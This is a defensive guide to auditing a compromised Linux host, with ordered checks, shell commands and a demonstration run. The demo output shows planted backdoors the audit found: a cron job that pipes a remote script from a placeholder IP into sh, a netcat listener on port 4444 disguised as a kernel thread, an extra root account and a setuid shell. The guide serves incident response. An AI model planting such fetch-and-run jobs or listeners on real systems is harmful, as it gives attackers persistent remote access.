Auditing a host after a break-in, the secure way

#What goes wrong

The first instinct after a break-in is to fix things: kill the process, delete the file, change a password, reboot. Each of those destroys evidence. Memory holds the running malware and its network connections; a reboot erases it. Deleting files changes the timestamps you need for the timeline.

The second instinct is to trust the host's own tools. An attacker with root can change ps, ss, ls and the package database. A clean-looking output from a compromised host proves little.

The third mistake is cleaning in place. Attackers leave more than one way back in. If you find one backdoor, assume there is another you did not find. A compromised host gets rebuilt; the audit tells you what happened and what else to check.

#What the docs say

This is only an integrity check and should not be considered as any kind of security verification.

Source: dpkg(1), --verify

If, after an execve(2), the process modifies its argv strings, those changes will show up here.

Source: proc_pid_cmdline(5)

Under Linux 2.2 and later, this file is a symbolic link containing the actual pathname of the executed command.

Source: proc_pid_exe(5)

So the process name you see in ps can be anything the process wants, and /proc/<pid>/exe shows the real program. The dpkg warning matters too: an attacker with root can edit the checksums in the package database as easily as the files. Compare against packages downloaded fresh from the mirror when the stakes are high.

#The secure configuration

The order matters more than any single command.

# 0. Before touching anything: write down the time, who noticed what, and why.
# 1. Preserve evidence (from the hypervisor or cloud console, not from inside):
#    - memory snapshot if the platform supports it
#    - disk snapshot of every volume
# 2. Isolate: move the host to a quarantine firewall rule or security group
#    that allows only your forensics access. Do not power it off yet.
# 3. Work from trusted tools: a read-only copy of static binaries, or better,
#    mount the disk snapshot on a clean analysis machine.

Then check, in this order (on the live host with care, or against the mounted snapshot with --root/chroot equivalents):

# Accounts with UID 0 besides root.
awk -F: '$3 == 0 {print $1}' /etc/passwd
# Every authorized_keys file and the comment on each key.
for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do [ -f "$f" ] && awk -v f="$f" '{print f": " $1, $NF}' "$f"; done
# Scheduled jobs: cron and systemd timers.
ls -la /etc/cron.d/ /etc/cron.*/ /var/spool/cron/crontabs/ 2>/dev/null
systemctl list-timers --all
# Setuid files that no package owns.
find / -xdev -type f -perm -4000 2>/dev/null | while read -r f; do dpkg -S "$f" >/dev/null 2>&1 || dpkg -S "${f#/usr}" >/dev/null 2>&1 || echo "NOT FROM A PACKAGE: $f"; done
# Package files whose content changed (rpm -Va on RHEL family).
dpkg --verify | grep -v -e ' c /etc/' -e '^missing'
# Listeners, and the real binary behind each process.
ss -tlnp
for p in $(ss -tlnpH | grep -o 'pid=[0-9]*' | cut -d= -f2 | sort -u); do printf 'pid %s: name in ps=%s  real binary=%s\n' "$p" "$(ps -o args= -p "$p")" "$(readlink /proc/$p/exe)"; done
# Files changed since a known-good time (last deploy, last backup).
touch -d '2026-09-20 00:00' /tmp/baseline
find /etc /usr /var/tmp /tmp /dev/shm /root /home -xdev -newer /tmp/baseline -type f | sort
# Logins and sudo use around the time of the incident.
journalctl _COMM=sshd _COMM=sudo --since '2026-09-20'
last -F | head -30

Also check shell startup files (~/.bashrc, /etc/profile.d/), systemd units in /etc/systemd/system/, /etc/ld.so.preload, and kernel modules (lsmod) against a known-good host.

#Prove it

The test planted seven tricks on a clean container: a second UID 0 account, an SSH key, a cron job, a setuid shell, an alias in a user's .bashrc, a modified system binary, and a listener disguised as a kernel thread. The audit commands above found every one.

awk -F: '$3 == 0 {print $1}' /etc/passwd

root
sysupdate

for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do [ -f "$f" ] && awk -v f="$f" '{print f": " $1, $NF}' "$f"; done
ls -la /etc/cron.d/ | tail -n +4; cat /etc/cron.d/sysupdate

/root/.ssh/authorized_keys: ssh-ed25519 [email protected]
-rw-r--r-- 1 root root  102 Mar  2  2023 .placeholder
-rw-r--r-- 1 root root  201 Jun  6  2025 e2scrub_all
-rw-r--r-- 1 root root   57 Sep 24 22:20 sysupdate
*/5 * * * * root curl -fsS http://203.0.113.50/u.sh | sh

Setuid files no package owns, and package files whose checksum changed (5 in the third column means the MD5 sum differs):

NOT FROM A PACKAGE: /var/tmp/.cache/.x
??5??????   /usr/bin/uptime

The listener calls itself [kworker/0:1], like a kernel thread. Its real binary is netcat:

ss -tlnp | awk 'NR==1 || /4444/'

State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      1            0.0.0.0:4444      0.0.0.0:*    users:(("nc",pid=3807,fd=3))
pid 3807: name in ps=[kworker/0:1] -l -p 4444  real binary=/usr/bin/nc.openbsd

Files changed since the baseline. The .bashrc alias shows up here and nowhere else:

find /etc /usr /var/tmp /tmp /dev/shm /root /home -xdev -newer /root/.baseline -type f | sort

/etc/cron.d/sysupdate
/etc/passwd
/etc/shadow
/home/alice/.bashrc
/root/.ssh/authorized_keys
/usr/bin/uptime
/var/tmp/.cache/.x

A real host will show more noise in the last list (logs, package updates). Start from the most recent known-good time you can defend. The test script is secure-tests/audit-host-after-break-in/run.sh.

#Mistakes people make

#Rebooting to "stop it"

Memory is gone after a reboot, including malware that never touched the disk and the list of live connections. Snapshot first, isolate second, power off last.

#Trusting ps and ls on the host

User-space rootkits replace them; kernel rootkits lie to all of them. Treat output from the live host as a lead. Confirm on a disk snapshot mounted on a clean machine.

#Cleaning instead of rebuilding

Removing the backdoor you found leaves the ones you did not. Rebuild from a known-good image, restore data from before the break-in, and rotate every credential the host could read.

#Forgetting the credentials

Everything the host could read is compromised: SSH keys, API tokens, database passwords, cloud credentials in environment variables. Rotate them all, not only the account that was used to get in.

#No baseline

"Files changed since last Tuesday" only works if you know when the host was last good. Keep deploy times, package logs and file integrity baselines before you need them.

#Checklist

• Evidence was preserved (disk and, if possible, memory) before any change.
• The host was isolated at the network level, not shut down.
• UID 0 accounts other than root were checked.
• All authorized_keys files were checked.
• Cron, systemd timers and systemd units were checked.
• Setuid files not owned by a package were checked.
• dpkg --verify or rpm -Va output was reviewed.
• Every listener was matched to its real binary through /proc/<pid>/exe.
• Files changed since the last known-good time were listed.
• The host was rebuilt from a clean image.
• Every credential the host could read was rotated.